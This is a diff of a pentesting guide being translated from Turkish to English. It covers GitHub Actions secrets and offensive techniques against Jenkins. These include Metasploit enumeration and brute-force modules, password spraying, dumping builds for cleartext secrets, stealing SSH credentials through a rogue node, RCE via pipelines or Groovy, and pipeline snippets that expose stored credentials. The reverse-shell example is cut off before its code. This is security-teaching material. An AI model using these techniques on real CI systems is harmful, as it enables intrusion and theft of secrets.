This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions, bir olay gerçekleştiğinde **kodun çalıştırılmasını otomatikleştirir**. Genellikle çalıştırılan kod, repository koduyla **bir şekilde ilişkilidir** (örneğin bir docker container oluşturmak veya PR'da gizli veri olup olmadığını kontrol etmek).
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
|
||||
### Yapılandırma
|
||||
### Configuration
|
||||
|
||||
_in https://github.com/organizations/\<org_name>/settings/actions_ adresinde organization için **github actions yapılandırmasını** kontrol etmek mümkündür.
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
|
||||
Github actions kullanımını tamamen yasaklamak, **tüm github actions'lara izin vermek** veya sadece belirli actions'lara izin vermek mümkündür.
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
|
||||
Ayrıca **kimlerin bir Github Action'ı çalıştırmak için onaya ihtiyaç duyduğunu** ve bir Github Action çalıştırıldığında **GITHUB_TOKEN**'ın izinlerini yapılandırmak da mümkündür.
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action'lar genellikle github veya üçüncü taraf uygulamalarla etkileşim için bazı secrets gerektirir. Bunları repoda açık metin olarak tutmamak için github, bunları **Secrets** olarak eklemeye izin verir.
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
|
||||
Bu secret'lar **repo için veya tüm organization için** yapılandırılabilir. Ardından, Action'ın secret'a erişebilmesi için onu şu şekilde beyan etmeniz gerekir:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### Bash kullanarak örnek <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **sadece bunları beyan eden Github Actions üzerinden erişilebilir**.
|
||||
>
|
||||
> Repo veya organizasyon düzeyinde yapılandırıldıktan sonra **github kullanıcıları onlara tekrar erişemeyecek**, sadece **değiştirebileceklerdir**.
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
|
||||
Bu nedenle, **github secrets'i çalmanın tek yolu, Github Action'ı çalıştıran makineye erişebilmektir** (bu senaryoda yalnızca Action için beyan edilmiş secrets'lara erişebilirsiniz).
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github, **secrets**'i saklayabileceğiniz **environments** oluşturmanıza izin verir. Ardından, github action'a environment içindeki secrets'e erişim verebilirsiniz, örneğin:
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
@@ -227,12 +233,12 @@ The **branch protections of a repository** can be found in _https://github.com/\
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
@@ -267,3 +273,5 @@ This chain prevents a single collaborator from retagging or force-publishing rel
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,292 +1,312 @@
|
||||
# Jenkins Güvenliği
|
||||
# Jenkins Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
Jenkins, **programlama dilleri** ve kaynak kodu depolarının neredeyse **herhangi** bir kombinasyonu için **sürekli entegrasyon** veya **sürekli teslimat** (CI/CD) ortamı oluşturmanın basit bir yolunu sunan bir araçtır. Ayrıca, çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, **bireysel adımlar için betikler oluşturma ihtiyacını** ortadan kaldırmasa da, tüm derleme, test ve dağıtım araçları dizisini entegre etmenin daha hızlı ve daha sağlam bir yolunu sağlar.
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Kimlik Doğrulaması Olmadan Sayfa Listeleme
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
|
||||
Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunları kullanabilirsiniz:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
Kimlik doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin:
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Kimlik bilgileri olmadan _**/asynchPeople/**_ yoluna veya _**/securityRealm/user/admin/search/index?q=**_ yoluna bakarak **kullanıcı adlarını** görebilirsiniz.
|
||||
|
||||
Jenkins sürümünü _**/oops**_ veya _**/error**_ yolundan alabilirsiniz.
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
|
||||
.png>)
|
||||
|
||||
### Bilinen Güvenlik Açıkları
|
||||
### Known Vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## Giriş
|
||||
## Login
|
||||
|
||||
Temel bilgilerde **Jenkins'e giriş yapmanın tüm yollarını** kontrol edebilirsiniz:
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Kayıt
|
||||
### Register
|
||||
|
||||
Jenkins örneklerini bulabileceksiniz ki **bir hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.**
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
|
||||
### **SSO Girişi**
|
||||
### **SSO Login**
|
||||
|
||||
Ayrıca eğer **SSO** **işlevselliği**/**eklentileri** mevcutsa, o zaman bir test hesabı (yani, bir test **Github/Bitbucket hesabı**) kullanarak uygulamaya **giriş yapmayı** denemelisiniz. [**buradan**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) bir hile.
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins**, **şifre politikası** ve **kullanıcı adı brute-force önleme** eksikliği vardır. **Zayıf şifreler** veya **şifre olarak kullanıcı adları** kullanılıyor olabileceğinden, kullanıcıları **brute-force** yapmak önemlidir, hatta **tersine çevrilmiş kullanıcı adları şifre olarak** da kullanılabilir.
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Parola Spraying
|
||||
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Beyaz Liste Bypass
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol sağlayıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için.
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
|
||||
Bunu başarmak için, organizasyonlar **SCM platformlarının IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini belirtmek önemlidir; bu da potansiyel olarak **iç CI sistemine** istek gönderebilir.
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## İç Jenkins Suistimalleri
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
Bu senaryolarda Jenkins'e erişmek için geçerli bir hesabınız olduğunu varsayacağız.
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz.**
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
|
||||
Daha fazla bilgi için temel bilgilere bakın:
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Kullanıcıları Listeleme
|
||||
### Listing users
|
||||
|
||||
Eğer Jenkins'e eriştiyseniz, [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) adresinde diğer kayıtlı kullanıcıları listeleyebilirsiniz.
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Düz Metin Gizli Bilgileri Bulmak için Yapıları Dökme
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
|
||||
Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **SSH Kimlik Bilgilerini Çalma**
|
||||
|
||||
Eğer ele geçirilen kullanıcı **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkilere sahipse** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir:
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
|
||||
.png>)
|
||||
|
||||
Genellikle Jenkins ssh kimlik bilgilerini **global provider** (`/credentials/`) içinde bulabilirsiniz, bu nedenle diğer gizli bilgileri döktüğünüz gibi bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bakın.
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
|
||||
### **Jenkins'te RCE**
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** veya hatta **bulut kimlik bilgilerini toplama** fırsatı verir.
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
|
||||
Varsayılan olarak, Jenkins **SYSTEM olarak çalışır**. Bu nedenle, onu ele geçirmek saldırgana **SYSTEM yetkileri** verecektir.
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
|
||||
### **Proje Oluşturma/Düzenleme ile RCE**
|
||||
### **RCE Creating/Modifying a project**
|
||||
|
||||
Proje oluşturma/düzenleme, Jenkins sunucusunda RCE elde etmenin bir yoludur:
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **Groovy Script Çalıştırarak RCE**
|
||||
### **RCE Execute Groovy script**
|
||||
|
||||
Ayrıca, yeni bir proje oluşturmaktan daha gizli olabilecek bir Groovy script çalıştırarak RCE elde edebilirsiniz:
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### Pipeline Oluşturma/Düzenleme ile RCE
|
||||
### RCE Creating/Modifying Pipeline
|
||||
|
||||
Ayrıca **pipeline oluşturarak/düzenleyerek RCE elde edebilirsiniz**:
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline İstismarı
|
||||
## Pipeline Exploitation
|
||||
|
||||
Pipeline'ları istismar etmek için hala Jenkins'e erişiminiz olması gerekir.
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
|
||||
### Build Pipeline'lar
|
||||
### Build Pipelines
|
||||
|
||||
**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda pipeline sözdizimini içeren **bir dosya** depo içinde yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır:
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca, **pipeline yapılandırma dosyalarını başka yerlerde** (örneğin başka depolarda) saklamak da mümkündür; bu, depo **erişimini** ve pipeline erişimini **ayırma** amacı taşır.
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
|
||||
Eğer bir saldırgan **o dosya üzerinde yazma erişimine sahipse**, onu **değiştirebilir** ve **pipeline'ı tetikleyebilir**; hatta Jenkins'e erişimi olmadan bile.\
|
||||
Saldırganın **bazı dal korumalarını atlatması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak atlatılabilir veya atlatılamayabilir).
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
|
||||
Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır:
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
|
||||
- **Ana dal için Pull request** (veya potansiyel olarak diğer dallar için)
|
||||
- **Ana dala Push** (veya potansiyel olarak diğer dallar için)
|
||||
- **Ana dalı güncelleyin** ve bir şekilde çalıştırılmasını bekleyin
|
||||
- **Pull request** to the main branch (or potentially to other branches)
|
||||
- **Push to the main branch** (or potentially to other branches)
|
||||
- **Update the main branch** and wait until it's executed somehow
|
||||
|
||||
> [!NOTE]
|
||||
> Eğer bir **dış kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**.
|
||||
> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
|
||||
|
||||
### Pipeline RCE
|
||||
|
||||
Önceki RCE bölümünde, [**pipeline'ı değiştirerek RCE elde etme**](./#rce-creating-modifying-pipeline) tekniği zaten belirtilmişti.
|
||||
In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).
|
||||
|
||||
### Env Değişkenlerini Kontrol Etme
|
||||
### Checking Env variables
|
||||
|
||||
It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
|
||||
|
||||
Tüm pipeline için veya belirli aşamalar için **düz metin env değişkenleri** tanımlamak mümkündür. Bu env değişkenleri **hassas bilgi içermemelidir**, ancak bir saldırgan her zaman **tüm pipeline** yapılandırmalarını/Jenkinsfile'ları kontrol edebilir:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
agent {label 'built-in'}
|
||||
environment {
|
||||
GENERIC_ENV_VAR = "Test pipeline ENV variables."
|
||||
}
|
||||
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
stages {
|
||||
stage("Build") {
|
||||
environment {
|
||||
STAGE_ENV_VAR = "Test stage ENV variables."
|
||||
}
|
||||
steps {
|
||||
```
|
||||
### Gizli bilgileri dökme
|
||||
|
||||
Jenkins'in gizli bilgileri genellikle nasıl ele aldığı hakkında bilgi için temel bilgilere göz atın:
|
||||
### Dumping secrets
|
||||
|
||||
For information about how are secrets usually treated by Jenkins check out the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job/<project-name>/configure`) **ait olabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir.
|
||||
Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job/<project-name>/configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
|
||||
|
||||
There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
|
||||
|
||||
Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgiye** ulaşmak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi olarak** **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız:
|
||||
```
|
||||
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
|
||||
```
|
||||
Burada bazı yaygın gizli türlerini yüklemenin yolu var:
|
||||
|
||||
Here you have the way to load some common secret types:
|
||||
|
||||
```bash
|
||||
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
sh '''
|
||||
env #Search for USERNAME and PASS
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
sh '''
|
||||
env #Search for SECRET
|
||||
'''
|
||||
}
|
||||
|
||||
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
sh '''
|
||||
env # Search for USERPASS
|
||||
'''
|
||||
}
|
||||
|
||||
# You can also load multiple env variables at once
|
||||
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
|
||||
sh '''
|
||||
env
|
||||
'''
|
||||
}
|
||||
```
|
||||
Bu sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
|
||||
|
||||
> [!WARNING]
|
||||
> **Tüm sırları bir anda dökmek** için en iyi yol, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\
|
||||
> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümü](./#nodes-and-agents) ve [Sonrası Sömürü bölümü](./#post-exploitation) bölümüne bakın.
|
||||
> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
|
||||
> More on how to do this in the [Nodes & Agents section](#nodes-and-agents) and in the [Post Exploitation section](#post-exploitation).
|
||||
|
||||
### Tetikleyiciler
|
||||
### Triggers
|
||||
|
||||
[belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre edilmiş Pipeline'lar için, `triggers` gerekli olmayabilir çünkü webhooks tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir.
|
||||
From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
|
||||
|
||||
Cron example:
|
||||
|
||||
Cron örneği:
|
||||
```bash
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
```
|
||||
Diğer örnekleri **belgelerde kontrol edin**.
|
||||
|
||||
### Düğümler ve Ajanlar
|
||||
Check **other examples in the docs**.
|
||||
|
||||
Bir **Jenkins örneği**, **farklı makinelerde çalışan farklı ajanlara** sahip olabilir. Bir saldırgan perspektifinden, farklı makinelere erişim, **çalıntı potansiyel bulut kimlik bilgileri** veya diğer makineleri istismar etmek için kullanılabilecek **farklı ağ erişimleri** anlamına gelir.
|
||||
### Nodes & Agents
|
||||
|
||||
Daha fazla bilgi için temel bilgileri kontrol edin:
|
||||
A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
|
||||
|
||||
For more information check the basic information:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
`/computer/` içinde **yapılandırılmış düğümleri** listeleyebilirsiniz, genellikle **`Built-In Node`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız:
|
||||
You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
|
||||
|
||||
.png>)
|
||||
|
||||
**Built-In düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir.
|
||||
It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
|
||||
|
||||
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
|
||||
|
||||
**Built-in Jenkins düğümünde** **pipeline'ı** **çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
agent {label 'built-in'}
|
||||
```
|
||||
### Tam örnek
|
||||
|
||||
Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve bir ters shell göndererek:
|
||||
### Complete example
|
||||
|
||||
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
|
||||
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
triggers { cron('H */4 * * 1-5') }
|
||||
environment {
|
||||
